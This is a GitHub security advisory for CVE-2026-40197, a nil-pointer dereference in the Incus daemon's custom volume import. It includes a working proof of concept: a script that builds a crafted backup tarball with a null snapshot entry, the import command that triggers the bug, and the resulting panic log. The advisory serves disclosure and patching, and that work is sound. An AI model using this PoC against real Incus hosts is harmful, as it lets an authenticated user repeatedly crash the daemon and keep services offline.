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Incus has a Nil-Pointer Dereference via Custom Volume Import

High severity GitHub Reviewed Published Apr 30, 2026 in lxc/incus • Updated May 8, 2026

Package

gomod github.com/lxc/incus/v6/cmd/incusd (Go)

Affected versions

< 7.0.0

Patched versions

7.0.0

Description

Summary

Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details

The custom volume backup import subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during import operations.

In the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots, which is a slice of pointers. The implementation assumes that each slice element is non-nil and immediately dereferences it through expressions such as snapshot.Name, snapshot.Config, snapshot.Description, snapshot.CreatedAt, and *snapshot.ExpiresAt without first validating that the element itself is initialized.

Because the YAML unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an authenticated attacker can supply a backup archive containing a null entry in the volume_snapshots array. This causes the daemon to dereference a nil pointer during custom volume import and terminate, resulting in immediate denial of service on the node.

Affected File:
https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code:

func (b *backend) CreateCustomVolumeFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {
    [...]
    // Create database entries for new storage volume snapshots.
    for _, s := range srcBackup.Config.VolumeSnapshots {
        snapshot := s // Local var for revert.
        snapName := snapshot.Name

        // Due to a historical bug, the volume snapshot names were sometimes written in their full form
        // (<parent>/<snap>) rather than the expected snapshot name only form, so we need to handle both.
        if internalInstance.IsSnapshot(snapshot.Name) {
            _, snapName, _ = api.GetParentAndSnapshotName(snapshot.Name)
        }

        fullSnapName := drivers.GetSnapshotVolumeName(srcBackup.Name, snapName)
        snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
        snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

        // Validate config and create database entry for new storage volume.
        // Strip unsupported config keys (in case the export was made from a different type of storage pool).
        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
        if err != nil {
            return err
        }

        reverter.Add(func() { _ = VolumeDBDelete(b, srcBackup.Project, fullSnapName, snapVol.Type()) })
    }
    [...]
}

PoC

The following PoC demonstrates that a crafted custom volume backup archive containing a null entry in volume_snapshots can trigger a nil-pointer dereference during import.

Step 1: Generate the malformed archive

From a client or workstation with shell access, create a custom volume backup archive whose index.yaml contains one physical snapshot directory and a matching volume_snapshots array containing a literal null entry.

Commands:

cat <<EOF > poc_nil_snapshot.sh
#!/bin/bash
set -e

echo "[*] Building null snapshot dereference payload..."

mkdir -p backup/volume
mkdir -p backup/snapshots/snap0

cat <<EOT > backup/index.yaml
name: panic-nil-snap
backend: dir
pool: default
type: custom
snapshots:
  - snap0
config:
  volume:
    name: panic-nil-snap
    type: custom
    content_type: filesystem
    config: {}
  volume_snapshots:
    - null
EOT

tar -czf exploit_null_snapshot.tar.gz backup/
rm -rf backup/

echo "[+] PoC Tarball Created: exploit_null_snapshot.tar.gz"
EOF

bash poc_nil_snapshot.sh

Result:

[+] PoC Tarball Created: exploit_null_snapshot.tar.gz

Step 2: Trigger the vulnerable custom volume import path

From an Incus client with permission to import custom volumes, import the crafted archive into a valid storage pool.

Command:

incus storage volume import default exploit_null_snapshot.tar.gz

Result:

Error: Operation not found

Step 3: Verify the daemon panic

On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer dereference in CreateCustomVolumeFromBackup.

Command:

journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic:"

Result:

panic: runtime error: invalid memory address or nil pointer dereference
github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)

Mar 23 17:27:55 incus-7a incusd[238672]: panic: runtime error: invalid memory address or nil pointer dereference
Mar 23 17:27:55 incus-7a incusd[238672]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x16881c3]
Mar 23 17:27:55 incus-7a incusd[238672]: goroutine 5802 [running]:
Mar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(0x31c86ff85800, {{0x31c870a13203, 0x9}, {0x31c870a13300, 0xe}, {0x31c870a13318, 0x3}, {0x31c86f6d6298, 0x7}, {0x31c86fd13280, ...}, ...}, ...)
Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7627 +0xe03
Mar 23 17:27:55 incus-7a incusd[238672]: main.createStoragePoolVolumeFromBackup.func6(0x31c86fa5e000?)
Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/cmd/incusd/storage_volumes.go:2715 +0x3f4
Mar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x31c86f758140)
Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26
Mar 23 17:27:55 incus-7a incusd[238672]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 5783
Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'.
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238744 (dnsmasq) remains running after unit stopped.
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238760 (dnsmasq) remains running after unit stopped.

It is recommended to validate that each element of srcBackup.Config.VolumeSnapshots is non-nil before dereferencing it. If the archive contains a null snapshot entry, the function should return a structured validation error and abort the import gracefully rather than allowing a runtime panic to crash the service.

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

References

@stgraber stgraber published to lxc/incus Apr 30, 2026
Published to the GitHub Advisory Database May 4, 2026
Reviewed May 4, 2026
Published by the National Vulnerability Database May 6, 2026
Last updated May 8, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(17th percentile)

Weaknesses

NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL. Learn more on MITRE.

CVE ID

CVE-2026-40197

GHSA ID

GHSA-r7w7-mmxr-47r9

Source code

Credits

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